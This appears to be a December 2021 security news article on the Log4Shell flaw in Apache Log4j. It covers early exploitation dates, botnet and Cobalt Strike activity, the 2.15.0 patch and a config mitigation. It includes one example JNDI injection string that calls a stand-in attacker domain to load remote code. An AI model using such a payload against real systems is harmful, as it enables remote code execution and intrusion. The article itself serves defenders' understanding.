Log4Shell attacks began two weeks ago, Cisco and Cloudflare say

While a public proof-of-concept code was released last Thursday, attacks exploiting the Log4Shell vulnerability started two weeks ago.

The first attacks were observed on December 1 and December 2, according to Cloudflare and Cisco Talos, respectively.

Earliest evidence we’ve found so far of #Log4J exploit is 2021-12-01 04:36:50 UTC. That suggests it was in the wild at least 9 days before publicly disclosed. However, don’t see evidence of mass exploitation until after public disclosure.

— Matthew Prince (@eastdakota) December 11, 2021

Although mass exploitation started over the weekend, this revelation means that security teams need to broaden their incident response investigations and check for signs of possible exploitation against their networks to the start of the month, just to be on the safe side.

Currently, attacks abusing the Log4Shell vulnerability are still tame—if the word can even be used to describe the abuse of a security flaw.

The vast of attacks have originated from professional crypto-mining and DDoS botnets, such as Mirai, Muhstik, and Kinsing, which are typically the first to exploit any meaningful enterprise bug before everyone else.

The #Kinsing and #Muhstik cryptomining botnets are some of the first to exploit any new RCE vulnerability: this time it’s Log4j & Log4Shell. Those two names have cropped up for several major RCEs this year, they’ve actually become one way to tell how bad a new RCE is.

— Will (@BushidoToken) December 11, 2021

More dangerous groups like nation-state espionage groups and ransomware gangs have yet to show up to the party, but in a blog post over the weekend, Microsoft said that it began observing the first instances where Log4Shell was being used to deploy web shells together with Cobalt Strike beacons (backdoors).

CISA, the NSA, and several cybersecurity firms have repeatedly warned over the past year that the combination of web shells and Cobalt Strike beacons are typically the first tools deployed by nation-state groups and ransomware gangs in attacks, so while unconfirmed, don't be surprised if we get the first ransomware group abusing Log4Shell by the end of the day.

Right now, scans for internet-connected systems that are vulnerable to the Log4Shell vulnerability are absolutely through the roof. More than 2,000 different IP addresses have been observed probing the internet for vulnerable systems, according to security firm Greynoise.

Not all this traffic is bad, as there are white-hat security researchers and security firms looking for vulnerable systems as well, but the big picture is that threat actors have smelled blood, and IT administrators should look to see if any of their Java-based systems are vulnerable to Log4Shell.

What is Log4Shell?

As for what is Log4Shell, explaining it is simpler than comprehending the places where this nearly ubiquitous library has been used.

In the simplest terms possible, Log4Shell is a vulnerability in Log4j, a Java library for adding logging capabilities to Java web and desktop applications.

It is managed by the Apache Software Foundation, meaning it is included in most of their software, and because of the association, it also has a "stamp of high quality code" that makes it a favorite with most enterprise software developers.

In other words, it's almost everywhere. In fact, it's in so many places that people are now wondering how this crucial piece of software was still being developed by only six volunteers in their free time, rather than have a few permanent paid maintainers assigned to it.

The vulnerability per-se takes place in apps where user input can create a log entry. For example, in apps with input fields or where users can control the text that's entered inside the log itself. The idea is that an attacker can create something like below:

${jndi:ldap://attacker.com/script}

When the Log4j library writes and parses this entry inside a log, the JNDI prefix forces it to connect to the attacker's domain and run a script stored there.

Currently, attackers typically spray the entire internet IP address space with a simple script that queries back to their domains. This allows them to detect systems running the Log4j library. They then come back to that system and run the real attack with actual malware, such as bash scripts, crypto-miners, Cobalt Strike beacons, and web shells.

Right now, the IT staff of almost all major companies and software providers are checking their enterprise software to check if their own use of the Log4j library makes them vulnerable. Anyone who has used Log4J between 2.10.0 and 2.14.x is vulnerable to attacks.

Patch available since last week, as well as mitigations

The Apache Software Foundation has released a security update on Friday in Log4j 2.15.0, fixing the attack vector.

Setting the log4j2.formatMsgNoLookups option to true in the Log4j config also prevents exploitation if companies can't update.

Companies like Cloudflare said none of their products are affected, while Red Hat and N-able (SolarWinds) said they have products that are. The list will likely grow through the week.

But a comprehensive list of what is vulnerable and what is not is still not broadly available, not even for an agency like CISA. The good news for some system administrators is that security firm Huntress Labs has created a free Log4Shell scanner that companies can use to assess their own systems.

Several security researchers said they fully expect ransomware gangs to begin leveraging this vulnerability as an entry vector into corporate networks for data theft and data encryption attacks, so patching or mitigating Log4j should be at the top of everyone's IT list this week—before they end up regretting it.